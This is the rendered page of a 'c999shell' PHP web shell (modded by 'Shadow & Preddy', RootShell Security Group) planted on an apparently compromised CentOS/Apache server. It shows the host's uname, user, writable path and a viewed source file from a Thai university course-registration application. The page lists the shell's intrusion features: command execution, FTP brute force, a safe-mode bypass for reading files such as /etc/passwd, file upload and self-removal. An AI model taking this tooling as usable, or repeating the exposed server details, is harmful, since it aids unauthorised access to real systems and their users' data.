!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_searchCheckOVLCourse.php (3.32 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%" align="center">
    <tr>
        <td><div align="center"><table width="100%">
                <tr>
                    <td align="center"><span class="h error">ตรวจสอบรายวิชาที่เวลาเรียนซ้ำซ้อน</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td>
<?php
                        
echo form_open($this->config->item("rg_folder")."preregis/checkOVLCourse");
?>
                        <table class="szone">                        
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">ปีการศึกษา</td>
                            <td>
                            <input type="text" name="acY" id="acY" value="<?php echo set_value('acY'$acY);?>" size="5" maxlength="4" class="required-int" >
                            <span class="error">* <?php echo form_error('acY');?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">ภาคการศึกษา</td>
                            <td>
<?php
                            
echo form_dropdown('tmId'$rs_tmset_value('tmId',$tmId));
?>
                            <span class="error">* <?php echo form_error('tmId');?></span></td>
                        </tr>    
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td colspan="2" align="center">
                            <input type="submit" name="btnSearth" id='btnSearth' value="ค้นหา">            
                            </td>
                        </tr>
                    </table><?php echo form_close();?></td>
                </tr>
                <tr><td height="22" colspan="4"></td></tr>
<? //--------------------------------------------------------
                
if(isset($rs_tt) && $rs_tt->num_rows()>0){                    
?>
                <tr>
                    <td colspan="2"><table class="headCol">
                        <tr>
                            <th class="amtCol">วัน</th>
                            <th class='hourCol'>เวลา</th>
                            <th>ห้อง</th>
                            <th>รายวิชาที่เวลาเรียนซ้ำซ้อน</th>
                        </tr>
                <?    $i=0;
                    foreach(
$rs_tt->result() as $row) {                                
                        
$rs $tt->rsTTDuplicateTime($acY$tmId$row->ttDyId$row->ttRmId$row->ttPrdFrTime$row->ttPrdToTime);
                        
//echo $this->db->last_query()."<br>";
                        
$strCo '';
                        if(
$rs->num_rows()>1){                            
                            foreach(
$rs->result() as $r) {                                
                                
$strCo .= $r->crsCode.' '.$r->crsName.' กลุ่ม '.$r->coSection.'<br>';
                            }
                            
$dayName $r->dyName;
                            
$timeValue substr($r->prdFrTime05).' - '.substr($r->prdToTime05);
                            
$rmNo $r->plRmNo;
                        }
                        if(
$strCo!=''){ $i++;
                            echo 
"<tr valign='top' onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
                
?>                        
                            <td align='center'><?=$dayName?></th>
                            <td align='center'><?=$timeValue?></th>
                            <td align='center'><?=$rmNo?></th>
                            <td class='indent'><?=explodeSquare($strCo);?></th>
                        </tr>
                <?        }
                    } 
                    if(
$i==0){
                
?>
                        <tr>
                            <td colspan="2" align="center"><span class='error'>** ไม่ปรากฏรายวิชาที่สอนในฐานข้อมูล **</span></td>
                        </tr>
                <?    ?>
                    </table></td>
                </tr>                
<?                
//--------------------------------------------------------
?>
            </table></div>
        <br><span class="error"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</span></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0075 ]--